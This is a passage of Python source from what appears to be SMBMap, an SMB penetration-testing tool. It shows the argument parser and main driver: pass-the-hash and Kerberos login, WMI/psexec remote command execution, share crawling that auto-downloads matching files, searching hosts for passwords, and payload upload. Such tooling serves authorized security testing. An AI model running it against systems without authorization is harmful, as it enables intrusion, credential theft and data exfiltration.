1312 | pass_group.add_argument("-p", "--password", metavar="PASSWORD", dest='passwd', default='', help="Password or NTLM hash, format is LMHASH:NTHASH")
1313 | pass_group.add_argument("--prompt", action='store_true', default=False, help="Prompt for a password")
1314 | kerb_group.add_argument("-k", "--kerberos", action='store_true', dest='kerberos_auth', default=False, help="Use Kerberos authentication")
1315 | kerb_group.add_argument("--no-pass", dest='no_pass', action='store_true', default=False, help="Use CCache file (export KRB5CCNAME='~/current.ccache')")
1316 | kerb_group.add_argument("--dc-ip", metavar="IP or Host", dest='dc_ip', default=None, help="IP or FQDN of DC")
1317 | sgroup.add_argument("-s", metavar="SHARE", dest='share', default='C$', help="Specify a share (default C$), ex 'C$'")
1318 | sgroup.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)")
1319 | sgroup.add_argument("-P", metavar="PORT", dest='port', type=int, default=445, help="SMB port (default 445)")
1320 | sgroup.add_argument("-v","--version", dest='version', default=False, action='store_true', help="Return the OS version of the remote host")
1321 | sgroup.add_argument("--signing", dest='signing', default=False, action='store_true', help="Check if host has SMB signing disabled, enabled, or required")
1322 | sgroup.add_argument("--admin", dest='admin', default=False, action='store_true', help='Just report if the user is an admin')
1323 | sgroup.add_argument("--no-banner", dest='nobanner', default=False, action='store_true', help='Removes the banner from the top of the output')
1324 | sgroup.add_argument("--no-color", dest='nocolor', default=False, action='store_true', help='Removes the color from output')
1325 | sgroup.add_argument("--no-update", dest='noupdate', default=False, action='store_true', help='Removes the "Working on it" message')
1326 | sgroup.add_argument("--timeout", dest='scan_timeout', type=float, default=.5, help='Set port scan socket timeout. Default is .5 seconds')
1327 |
1328 | sgroup2 = parser.add_argument_group("Command Execution", "Options for executing commands on the specified host")
1329 |
1330 | sgroup2.add_argument("-x", metavar="COMMAND", dest='command', help="Execute a command ex. 'ipconfig /all'")
1331 | sgroup2.add_argument("--mode", metavar="CMDMODE", dest='mode', default='wmi', help="Set the execution method, wmi or psexec, default wmi", choices=['wmi','psexec'])
1332 |
1333 | sgroup3 = parser.add_argument_group("Shared drive Search", "Options for searching/enumerating the share of the specified host(s)")
1334 | mex_group2 = sgroup3.add_mutually_exclusive_group()
1335 | mex_group2.add_argument("-L", dest='list_drives', action="store_true", help="List all drives on the specified host, requires ADMIN rights.")
1336 | mex_group2.add_argument("-r", metavar="PATH", dest="recursive_dir_list", nargs="?", const='/', help="Recursively list dirs and files (no share\\path lists the root of ALL shares), ex. 'email/backup'")
1337 | sgroup3.add_argument('--list-dir-timeout', dest='recursive_dir_list_timeout', default=0, type=int, help='Specifcy a timeout (in seconds) before the recursive list dir and file terminates. Default is 0 (No timeout).')
1338 | mex_group3 = sgroup3.add_mutually_exclusive_group()
1339 | mex_group3.add_argument("-g", metavar="FILE", dest="grepable", default=False, help="Output to a file in a grep friendly format, used with -r (otherwise it outputs nothing), ex -g grep_out.txt")
1340 | mex_group3.add_argument("--csv", metavar="FILE", dest="csv", default=False, help="Output to a CSV file, ex --csv shares.csv")
1341 | sgroup3.add_argument("--dir-only", dest='dir_only', action='store_true', help="List only directories, ommit files.")
1342 | sgroup3.add_argument("--no-write-check", dest='write_check', action='store_false', help="Skip check to see if drive grants WRITE access.")
1343 | sgroup3.add_argument("-q", dest="verbose", default=True, action="store_false", help="Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search (-A).")
1344 | sgroup3.add_argument("--depth", dest="depth", default=1, help="Traverse a directory tree to a specific depth. Default is 1 (root node).")
1345 | sgroup3.add_argument("--exclude", metavar="SHARE", dest="exclude", nargs="+", const=None, help="Exclude share(s) from searching and listing, ex. --exclude ADMIN$ C$'")
1346 | sgroup3.add_argument("-A", metavar="PATTERN", dest="pattern", help="Define a file name pattern (regex) that auto downloads a file on a match (requires -r), not case sensitive, ex '(web|global).(asax|config)'")
1347 |
1348 | sgroup4 = parser.add_argument_group("File Content Search", "Options for searching the content of files (must run as root), kind of experimental")
1349 | sgroup4.add_argument("-F", dest="file_content_search", metavar="PATTERN", help="File content search, -F '[Pp]assword' (requires admin access to execute commands, and PowerShell on victim host)")
1350 | sgroup4.add_argument("--search-path", dest="search_path", default="C:\\Users", metavar="PATH", help="Specify drive/path to search (used with -F, default C:\\Users), ex 'D:\\HR\\'")
1351 | sgroup4.add_argument('--search-timeout', dest='search_timeout', default='300', metavar='TIMEOUT', help='Specifcy a timeout (in seconds) before the file search job gets killed. Default is 300 seconds.')
1352 |
1353 | sgroup5 = parser.add_argument_group("Filesystem interaction", "Options for interacting with the specified host's filesystem")
1354 | sgroup5.add_argument("--download", dest='dlPath', metavar="PATH", help="Download a file from the remote system, ex.'C$\\temp\\passwords.txt'")
1355 | sgroup5.add_argument("--upload", nargs=2, dest='upload', metavar=('SRC', 'DST'), help="Upload a file to the remote system ex. '/tmp/payload.exe C$\\temp\\payload.exe'")
1356 | sgroup5.add_argument("--delete", dest="delFile", metavar="PATH TO FILE", help="Delete a remote file, ex. 'C$\\temp\\msf.exe'")
1357 | sgroup5.add_argument("--skip", default=False, action="store_true", help="Skip delete file confirmation prompt")
1358 |
1359 | if len(sys.argv) == 1:
1360 | parser.print_help()
1361 | sys.exit(1)
1362 |
1363 | args = parser.parse_args()
1364 |
1365 | signal.signal(signal.SIGINT, signal_handler)
1366 |
1367 | hosts_auth = []
1368 | host_list = []
1369 | mysmb = SMBMap()
1370 |
1371 | if not args.nobanner:
1372 | print(banner)
1373 |
1374 | if args.nocolor:
1375 | USE_TERMCOLOR=False
1376 | if args.noupdate:
1377 | SEND_UPDATE_MSG=False
1378 |
1379 | if args.prompt:
1380 | args.passwd = getpass.getpass()
1381 |
1382 | if args.scan_timeout:
1383 | if args.scan_timeout > 0 and args.scan_timeout < 10:
1384 | PORT_SCAN_TIMEOUT = args.scan_timeout
1385 |
1386 | if isinstance(args.recursive_dir_list_timeout, int):
1387 | global LIST_PATH_TIMEOUT
1388 | LIST_PATH_TIMEOUT = args.recursive_dir_list_timeout
1389 |
1390 | lsshare = False
1391 | lspath = False
1392 |
1393 | if args.grepable:
1394 | mysmb.grepable = args.grepable
1395 | mysmb.outfile = open(args.grepable, 'w')
1396 |
1397 | if args.csv:
1398 | mysmb.csv = True
1399 | mysmb.outfile = open(args.csv, 'w')
1400 | if args.recursive_dir_list != None:
1401 | csv_fields = ['Host', 'Share', 'Privs', 'isDir', 'Path', 'fileSize', 'Date']
1402 | elif args.version:
1403 | csv_fields = ['Host', 'Version', 'Name', 'Domain']
1404 | elif args.signing:
1405 | csv_fields = ['Host', 'signing_status']
1406 | else:
1407 | csv_fields = ['Host', 'Share', 'Privs', 'Comment']
1408 | mysmb.writer = csv.DictWriter(mysmb.outfile, csv_fields)
1409 | mysmb.writer.writeheader()
1410 |
1411 | if args.pattern:
1412 | mysmb.pattern = args.pattern
1413 | mysmb.verbose = False
1414 |
1415 | if args.verbose == False:
1416 | mysmb.verbose = False
1417 |
1418 | if args.dir_only:
1419 | mysmb.dir_only = True
1420 |
1421 | if args.recursive_dir_list != None:
1422 | mysmb.recursive = True
1423 | try:
1424 | lspath = args.recursive_dir_list.split('/')
1425 | lsshare = lspath[0]
1426 | lspath = '/'.join(lspath[1:])
1427 | except:
1428 | lspath = '/'
1429 | pass
1430 |
1431 | if args.exclude:
1432 | for ex_share in args.exclude:
1433 | mysmb.exclude.append(ex_share.lower())
1434 |
1435 | if args.hostfile:
1436 | with args.hostfile as file:
1437 | for host in file.readlines():
1438 | host = host.strip()
1439 | if host.find('/') > 0:
1440 | try:
1441 | host_list = [ str(ip) for ip in ipaddress.ip_network(host, False).hosts() ]
1442 | except Exception as e:
1443 | print(f'[!] Invalid CIDR or host {host}')
1444 | else:
1445 | try:
1446 | if socket.gethostbyname(host):
1447 | host_list.append(host)
1448 | except socket.gaierror as e:
1449 | print(f'[!] Name or service not known ({host})')
1450 |
1451 | if args.host and not args.hostfile:
1452 | if args.host.find('/') > 0:
1453 | try:
1454 | host_list = [ str(ip) for ip in ipaddress.ip_network(args.host, False).hosts() ]
1455 | except Exception as e:
1456 | print(f'[!] Invalid CIDR or host {args.host}')
1457 | sys.exit(1)
1458 | else:
1459 | try:
1460 | if socket.gethostbyname(args.host):
1461 | host_list.append(args.host)
1462 | except socket.gaierror as e:
1463 | print(f'[!] Name or service not known ({args.host})')
1464 | sys.exit(1)
1465 |
1466 | mysmb.loader = Loader('Checking for open ports...')
1467 | mysmb.loading = True
1468 | mysmb.loader.start()
1469 | if len(host_list) > 0:
1470 | porty_time = Pool()
1471 | host_list = porty_time.map(find_open_ports, host_list)
1472 | print('[*]','Detected {} hosts serving SMB'.format(sum(im_open is not False for im_open in host_list)))
1473 | else:
1474 | mysmb.loader.terminate()
1475 | print('[!] No valid hosts provided')
1476 | sys.exit(1)
1477 |
1478 | if mysmb.is_ntlm(args.passwd):
1479 | lmhash, nthash = args.passwd.split(':')
1480 | else:
1481 | lmhash, nthash = ('', '')
1482 |
1483 | if args.dc_ip:
1484 | kdc_host = args.dc_ip
1485 | else:
1486 | kdc_host = ''
1487 |
1488 | if args.no_pass:
1489 | global USE_CCACHE
1490 | USE_CCACHE = True
1491 |
1492 | mysmb.loader.update('Initializing hosts...')
1493 | if host_list:
1494 | host_args = []
1495 | for ip in host_list:
1496 | if ip:
1497 | host_args.append({ 'ip' : ip.strip(), 'port' : args.port, 'user' : args.user, 'passwd' : args.passwd, 'domain' : args.domain, 'lmhash' : lmhash, 'nthash' : nthash, 'smbconn' : [] ,'kdc_host' : kdc_host })
1498 | init_hosts_pool = Pool()
1499 | hosts_auth = init_hosts_pool.map(init_host, host_args)
1500 |
1501 | if args.admin:
1502 | mysmb.admin_only = True
1503 |
1504 | mysmb.loader.update('Authenticating...')
1505 | connections = []
1506 | if args.kerberos_auth:
1507 | login_worker = Pool()
1508 | connections = login_worker.map(login_kerberos, hosts_auth)
1509 | else:
1510 | login_worker = Pool()
1511 | connections = login_worker.map(login, hosts_auth)
1512 | if len(connections) > 0:
1513 | print('[*] Established {} SMB connections(s) and {} authenticated session(s)'.format(len( [ True for conn in connections if conn != False ]), len([ True for conn in connections if ( conn != False and conn.getSessionKey()) ])))
1514 | mysmb.hosts = { value['ip']:value for value in hosts_auth }
1515 | for conn in connections:
1516 | if conn:
1517 | mysmb.hosts[ socket.gethostbyname(conn.getRemoteHost()) ]['smbconn'].append(conn)
1518 |
1519 | counter = 0
1520 |
1521 | if args.file_content_search:
1522 | smb_server = mysmb.start_smb_server()
1523 | mysmb.loader.update('Doing RCE things...')
1524 | for host in list(mysmb.hosts.keys()):
1525 | if args.search_path[-1] == '\\':
1526 | search_path = args.search_path[:-1]
1527 | else:
1528 | search_path = args.search_path
1529 | try:
1530 | if len(mysmb.hosts[host]['smbconn'][0].listPath('ADMIN$', '/*')) > 0:
1531 | mysmb.start_file_search(host, args.file_content_search, args.share, search_path)
1532 | counter += 1
1533 | except Exception as e:
1534 | pass
1535 | print('[+] File search started on {} hosts in directory {}...this could take a while'.format(counter, search_path))
1536 | mysmb.get_search_results(args.search_timeout)
1537 | mysmb.loader.update('Cleaning up!')
1538 | smb_server.stop()
1539 |
1540 | if not args.file_content_search:
1541 | if not args.dlPath and not args.upload and not args.delFile and not args.list_drives and not args.command and not args.version and not args.signing:
1542 |
1543 | share_pool = Pool()
1544 | share_args = [ { 'smbconn' : mysmb.hosts[host]['smbconn'][0] , 'host' : host, 'write_check' : args.write_check, 'exclude' : mysmb.exclude } for host in mysmb.hosts.keys() if len(mysmb.hosts[host]['smbconn']) > 0 ]
1545 | mysmb.loader.update('Enumerating shares...')
1546 |
1547 | # this call returns an array of dict objects
1548 | all_shares = share_pool.map(get_shares, share_args)
1549 |
1550 | smb_tree = {}
1551 | all_paths_listed = []
1552 | list_path_args = []
1553 | if mysmb.recursive or mysmb.dir_only and all_shares:
1554 | for host_shares in all_shares:
1555 | if len(host_shares.keys()) > 0:
1556 | host = [ host for host in host_shares.keys() ][0]
1557 | else:
1558 | continue
1559 | if len(host_shares[host].keys()) > 0:
1560 | mysmb.hosts[host]['smbconn'][0].close()
1561 | mysmb.hosts[host]['smbconn'].pop()
1562 | share_conns = login_worker.map(login, [ mysmb.hosts[host] for index in range(0,len(host_shares[host].keys())) ] )
1563 | mysmb.hosts[host]['smbconn'] = share_conns
1564 | for index, share_name in enumerate(host_shares[host].keys()):
1565 | if host_shares[host][share_name]['privs'] != 'NO ACCESS' and lsshare == '':
1566 | list_path_args.append({ 'smbconn' : mysmb.hosts[host]['smbconn'][index] , 'host' : host, 'share' : share_name, 'path' : lspath, 'path_list' : None, 'depth' : args.depth , 'dir_only' : mysmb.dir_only, 'pattern' : mysmb.pattern })
1567 | elif host_shares[host][share_name]['privs'] != 'NO ACCESS' and share_name.lower() == lsshare.lower():
1568 | list_path_args.append({ 'smbconn' : mysmb.hosts[host]['smbconn'][index] , 'host' : host, 'share' : share_name, 'path' : lspath, 'path_list' : None, 'depth' : args.depth , 'dir_only' : mysmb.dir_only, 'pattern' : mysmb.pattern })
1569 | if args.pattern:
1570 | print('[*] Performing file name pattern match! ')
1571 |
1572 | global LIST_PATH_START_TIME
1573 | LIST_PATH_START_TIME = time.perf_counter()
1574 | list_path_pool = Pool()
1575 | mysmb.loader.update('Traversing shares...')
1576 | all_paths_listed = list_path_pool.map(list_path, list_path_args)
1577 | prev_hoat = None
1578 |
1579 | for share_drives_list in all_shares:
1580 | if isinstance(share_drives_list, dict) and len(share_drives_list) > 0:
1581 | host = [ host for host in share_drives_list.keys() ][0]
1582 | smb_tree[host] = {}
1583 | for share in share_drives_list[host]:
1584 | smb_tree[host][share] = share_drives_list[host][share]
1585 | smb_tree[host][share]['contents'] = {}
1586 |
1587 | for path_list in all_paths_listed:
1588 | if path_list:
1589 | host = [ host for host in path_list.keys() ][0]
1590 | for share_drive_contents in path_list[host]:
1591 | if path_list[host][share_drive_contents]:
1592 | smb_tree[host][share_drive_contents]['contents'] = path_list[host][share_drive_contents]
1593 |
1594 | mysmb.loader.update('Finished!')
1595 | mysmb.loader.pause()
1596 | if mysmb.verbose or mysmb.csv or mysmb.grepable:
1597 | to_string(smb_tree, mysmb)
1598 |
1599 | if args.version:
1600 | mysmb.loader.update('Grabbing version info.')
1601 | mysmb.loader.pause()
1602 | version_args = [ { 'smbconn' : mysmb.hosts[host]['smbconn'][0] , 'host' : host } for host in mysmb.hosts.keys() if len(mysmb.hosts[host]['smbconn']) > 0 ]
1603 | version_pool = Pool()
1604 | versions = version_pool.map(get_version, version_args)
1605 | for version_info in versions:
1606 | print("[+] {:<16} is running {} (name:{}) (domain:{})".format(version_info['Host'], version_info['Version'], version_info['Name'], version_info['Domain']))
1607 | if args.csv:
1608 | mysmb.writer.writerow(version_info)
1609 |
1610 |
1611 | if args.signing:
1612 | mysmb.loader.update('Checking for SMB signing.')
1613 | signing_args = [ { 'smbconn' : mysmb.hosts[host]['smbconn'][0] , 'host' : host } for host in mysmb.hosts.keys() if len(mysmb.hosts[host]['smbconn']) > 0 ]
1614 | signing_pool = Pool()
1615 | signing = signing_pool.map(check_smb_signing, signing_args)
1616 | mysmb.loader.pause()
1617 | for signing_info in signing:
1618 | print(f'[!] {signing_info["Host"]}\t{signing_info["signing_status"]}')
1619 | if args.csv:
1620 | mysmb.writer.writerow(signing_info)
1621 |
1622 | if True in [ (isinstance(arg, str) | isinstance(arg, list)) for arg in (args.dlPath, args.upload, args.delFile, args.list_drives, args.command) ]:
1623 | for host in list(mysmb.hosts.keys()):
1624 | is_admin = False
1625 | try:
1626 | if len(mysmb.hosts[host]['smbconn'][0].listPath('ADMIN$', pathify('/'))) > 0:
1627 | is_admin = True
1628 | except Exception as e:
1629 | pass
1630 |
1631 | try:
1632 | if args.dlPath:
1633 | download_file(mysmb.hosts[host]['smbconn'][0], args.dlPath)
1634 |
1635 | if args.upload:
1636 | mysmb.upload_file(host, args.upload[0], args.upload[1])
1637 |
1638 | if args.delFile:
1639 | mysmb.delete_file(host, args.delFile)
1640 |
1641 | if args.list_drives:
1642 | if is_admin:
1643 | mysmb.list_drives(host, args.share)
1644 |
1645 | if args.command:
1646 | mysmb.loader.update('Executing {} command, hang tight...'.format(args.mode))
1647 | if is_admin:
1648 | cmd_output = mysmb.exec_command(host, args.share, args.command, False, mysmb.hosts[host]['name'], args.mode)
1649 | mysmb.loader.pause()
1650 | if cmd_output:
1651 | print('')
1652 | print('[*]', 'Host: ', host)
1653 | print('')
1654 | print(cmd_output)
1655 |
1656 | except Exception as e:
1657 | print('[!]', e)
1658 | sys.stdout.flush()
1659 | pass
1660 |
1661 | mysmb.loader.update('Closing connections..')
1662 | mysmb.loader.resume()
1663 | logoff_args = [ { 'smbconn' : mysmb.hosts[host]['smbconn'][0] , 'host' : host } for host in mysmb.hosts.keys() if len(mysmb.hosts[host]['smbconn']) > 0 ]
1664 | logoff_pool = Pool()
1665 | loggedoff = logoff_pool.map(close_smb_connection, logoff_args)
1666 | mysmb.loader.pause()
1667 | mysmb.kill_loader()
1668 | print('[*]','Closed {} connections'.format(len(loggedoff)))
1669 |
1670 | if args.grepable or args.csv:
1671 | print('[*]','Results output to: {}'.format(mysmb.outfile.name))
1672 | mysmb.outfile.close()
1673 |
1674 | sys.exit()
1675 |
1676 |
1677 | if __name__ == "__main__":
1678 | main()
1679 |
--------------------------------------------------------------------------------